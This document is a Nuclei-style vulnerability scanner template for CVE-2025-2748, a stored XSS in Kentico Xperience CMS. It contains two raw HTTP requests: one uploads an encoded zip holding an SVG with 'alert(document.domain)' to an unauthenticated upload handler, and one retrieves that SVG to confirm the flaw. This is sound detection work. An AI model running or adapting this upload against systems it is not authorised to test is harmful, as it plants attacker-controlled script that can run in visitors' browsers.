id: CVE-2025-2748

info:
  name: Kentico Xperience CMS - Unauthenticated Stored XSS
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.
  reference:
    - https://labs.watchtowr.com/xss-to-rce-by-abusing-custom-file-handlers-kentico-xperience-cms-cve-2025-2748/
    - https://devnet.kentico.com/download/hotfixes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-2748
    cwe-id: CWE-79
    epss-score: 0.00993
    epss-percentile: 0.06386
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Kentico-CMS"
  tags: cve,cve2025,kentico,xss,unauth,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |-
        POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename={{randstr}}.zip&Complete=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{base64_decode('UEsDBBQAAAAIADR5gVqiOVAGEwEAAHwBAAAHABwAeHNzLnN2Z1VUCQADc8nrZ033sWd1eAsAAQT1AQAABBQAAABtkEFPAjEQhe/7K8bxognudAUO6C4kAiEmRklEjcfKlqVa2k1bWPj3zrIXD/bUvHnzvdfmk+POwEH5oJ0tMEsFQojSltI4qwq0DifjJL+YvUxXn8s5hEMFy7eHp8cp4A3RR39KNFvN4PV9AVmaEc2fEXAbY31H1DRN2vRT5ytaeFlv9ToQG6k18hIxLMvSMpY4TpK8Rf8pkiF8yaCW3m204SabvTEI3NaG4p+AWyFEC2QUAOS1M6fKWdBlgdFraSujEGqnbeR10RMgekMBQ74hcIAp8FKI0Uic3+/djzoLgwEL1CHD2us6QjzVPIvqGOlbHmSndql8pFE+XpVuvd8pG9PS7aS21/dnAHVe/s626Dj5BVBLAQIeAxQAAAAIADR5gVqiOVAGEwEAAHwBAAAHABgAAAAAAAEAAACkgQAAAAB4c3Muc3ZnVVQFAANzyetndXgLAAEE9QEAAAQUAAAAUEsFBgAAAAABAAEATQAAAFQBAAAAAA==')}}

    matchers:
      - type: status
        internal: true
        status:
          - 200

  - raw:
      - |
        GET /CMSPages/GetResource.ashx?image=/App_Data/CMSTemp/MultiFileUploader/00/00000000-0000-0000-0000-000000000000/[{{randstr}}.zip]/xss.svg HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain)"

      - type: word
        part: content_type
        words:
          - 'image/svg+xml'
# digest: 4a0a00473045022100fb47d46a12fcf3622323e1527ffc3fa5c0830b65c5adafc5fa48505d0972f24b02201a41f5f225c1cbb9fd4c4870f90f332ca4b93ba218598f8f4682c08a92233da8:922c64590222798bb761d5b6d8e72950